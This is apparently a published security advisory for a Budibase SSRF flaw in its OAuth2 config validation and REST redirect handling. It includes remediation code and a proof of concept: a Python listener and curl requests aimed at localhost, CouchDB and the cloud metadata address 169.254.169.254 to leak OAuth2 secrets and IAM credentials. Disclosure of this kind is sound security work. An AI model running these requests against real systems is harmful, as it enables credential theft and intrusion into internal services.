Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @budibase/server | < 3.39.0 | 3.39.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The OAuth2 token fetch function in `packages/server/src/sdk/workspace/oauth2/utils.ts` (line 59) uses raw `fetch(config.url)` with **no SSRF protection**. The safe wrapper `fetchWithBlacklist()` exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was **not applied** to the OAuth2 token endpoint.
A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.
### Details
**Vulnerable code — `packages/server/src/sdk/workspace/oauth2/utils.ts:59`:**
```typescript
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
// ...
const response = await fetch(config.url, fetchConfig) // NO blacklist check!
// ...
}
```
**Safe wrapper used everywhere else — `packages/backend-core/src/utils/outboundFetch.ts`:**
```typescript
export async function fetchWithBlacklist(url: string, opts?: RequestInit) {
await blacklist.isBlacklisted(url) // Checks against internal IPs
const response = await fetch(url, { ...opts, redirect: "manual" })
// Re-checks every redirect target
}
```
**Where `fetchWithBlacklist` IS used (consistency gap proof):**
- `automations/steps/discord.ts` — Discord webhook
- `automations/steps/slack.ts` — Slack webhook
- `automations/steps/make.ts` — Make.com integration
- `automations/steps/n8n.ts` — n8n integration
- `automations/steps/zapier.ts` — Zapier integration
- `automations/steps/outgoingWebhook.ts` — Custom webhooks
- Plugin download (GitHub, NPM)
- Object store tarball downloads
**Where it is NOT used:**
- `sdk/workspace/oauth2/utils.ts:59` — OAuth2 token fetch ← **THIS VULNERABILITY**
### PoC
```bash
# 1. Start SSRF listener
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
print(f'SSRF: {self.path} | Body: {body.decode()}')
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &
# 2. As builder, validate OAuth2 config pointing to internal service
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}'
# Result: Listener captures POST with Authorization: Basic header containing credentials
# The client_id and client_secret are leaked to the attacker-controlled URL
# 3. Access internal CouchDB
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}'
# Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable
# 4. Access AWS metadata (in cloud deployments)
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}'
```
### Additional SSRF Vector: REST Integration Redirect Bypass
The REST integration at `packages/server/src/integrations/rest.ts:754-778` calls `blacklist.isBlacklisted(url)` only once on the initial URL, then passes it to `undici.fetch()` with default `redirect: "follow"`. Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to `169.254.169.254`.
**Contrast with safe wrapper:** `fetchWithBlacklist()` uses `redirect: "manual"` and re-checks every redirect target.
### Impact
- **Internal service access** — CouchDB (default port 5984), Redis, internal APIs
- **Cloud metadata exfiltration** — AWS/GCP/Azure IAM credentials via 169.254.169.254
- **Credential leakage** — OAuth2 client_id and client_secret sent as Basic auth to attacker URL
- **Network reconnaissance** — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)
### Remediation
Replace `fetch(config.url, fetchConfig)` with `fetchWithBlacklist(config.url, fetchConfig)` in `packages/server/src/sdk/workspace/oauth2/utils.ts`:
```typescript
import { fetchWithBlacklist } from "@budibase/backend-core/utils"
async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
// ...
const response = await fetchWithBlacklist(config.url, fetchConfig)
// ...
}
```
Also fix the REST integration redirect bypass in `packages/server/src/integrations/rest.ts` by using `fetchWithBlacklist()` instead of raw `undici.fetch()`.
